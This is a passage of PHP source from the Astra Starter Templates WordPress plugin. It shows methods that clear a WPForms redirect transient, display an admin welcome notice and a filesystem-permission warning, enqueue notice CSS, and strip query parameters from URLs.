WP-Forms redirect. * * @return void. */ public function disable_wp_forms_redirect() { $wp_forms_redirect = get_transient( 'wpforms_activation_redirect' ); if ( ! empty( $wp_forms_redirect ) && '' !== $wp_forms_redirect ) { delete_transient( 'wpforms_activation_redirect' ); } } /** * Admin Dashboard Notices. * * @since 3.1.17 * @return void */ public function admin_dashboard_notices() { if ( defined( 'ASTRA_SITES_VER' ) ) { add_action( 'admin_notices', array( $this, 'admin_welcome_notices' ) ); } elseif ( defined( 'ASTRA_PRO_SITES_VER' ) ) { add_action( 'admin_notices', array( $this, 'admin_welcome_notices' ) ); } } /** * Admin Welcome Notice. * * @since 3.1.17 * @return void */ public function admin_welcome_notices() { $first_import_status = get_option( 'astra_sites_import_complete', false ); Astra_Notices::add_notice( array( 'id' => 'astra-sites-welcome-notice', 'type' => 'notice', 'class' => 'astra-sites-welcome', 'show_if' => ( false === Astra_Sites_White_Label::get_instance()->is_white_labeled() && empty( $first_import_status ) ), /* translators: %1$s white label plugin name and %2$s deactivation link */ 'message' => sprintf( '<div class="notice-welcome-container"> <div class="text-section"> <div class="logo-section"> <img src="' . esc_url( ASTRA_SITES_URI . 'inc/lib/onboarding/assets/images/logo.svg' ) . '" /> <h3>' . __( 'Starter Templates', 'astra-sites' ) . '</h3> </div> <h1 class="text-heading">' . __( 'Build Your Dream Site in Minutes With AI', 'astra-sites' ) . '</h1> <p>' . __( 'Say goodbye to the days of spending weeks designing and building your website.<br/> You can now create professional-grade websites in minutes.', 'astra-sites' ) . '</p> <div class="button-section"> <a href="' . home_url() . '/wp-admin/themes.php?page=starter-templates" class="text-button">' . __( 'Let’s Get Started', 'astra-sites' ) . '</a> <a href="javascript:void(0);" class="scratch-link astra-notice-close">' . __( 'I want to build this website from scratch', 'astra-sites' ) . '</a> </div> </div> <div class="showcase-section"> <img src="' . esc_url( ASTRA_SITES_URI . 'inc/assets/images/templates-showcase.png' ) . '" /> </div> </div>' ), ) ); } /** * Enqueue Astra Notices CSS. * * @since 3.1.17 * * @return void */ public static function notice_assets() { $file = 'astra-notices.css'; wp_enqueue_style( 'astra-sites-notices', ASTRA_SITES_URI . 'inc/assets/css/' . $file, array(), ASTRA_SITES_VER ); } /** * Display notice on dashboard if WP_Filesystem() false. * * @return void */ public function check_filesystem_access_notice() { // Check if WP_Filesystem() returns false. if ( ! WP_Filesystem() ) { // Display a notice on the dashboard. echo '<div class="error"><p>' . esc_html__( 'Required WP_Filesystem Permissions to import the templates from Starter Templates are missing.', 'astra-sites' ) . '</p></div>'; } } /** * Remove query parameters from the URL. * * @param String $url URL. * @param String[] $params Query parameters. * * @return string URL. */ public function remove_query_params( $url, $params ) { $parts = wp_parse_url( $url ); $query = array(); if ( isset( $parts['query'] ) ) { parse_str( $parts['query'], $query ); } foreach ( $params as $param ) { unset( $query[ $param ] ); } $query = http_build_query( $query ); if ( ! empty( $query ) ) { $query = '?' . $query; } if ( ! isset( $parts['host'] ) ) { return $url; } $parts['scheme'] = isset( $parts['scheme'] ) ? $parts['scheme'] : 'https'; $parts['path'] = isset( $parts['path'] ) ? $parts['path'] : '/'; $parts['port'] = isset( $parts['port'] ) ? ':' . $parts['port'] : ''; return $parts['scheme'] . '://' . $parts['host'] . $parts['port'] . $parts['path'] . $query; } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites::get_instance(); endif;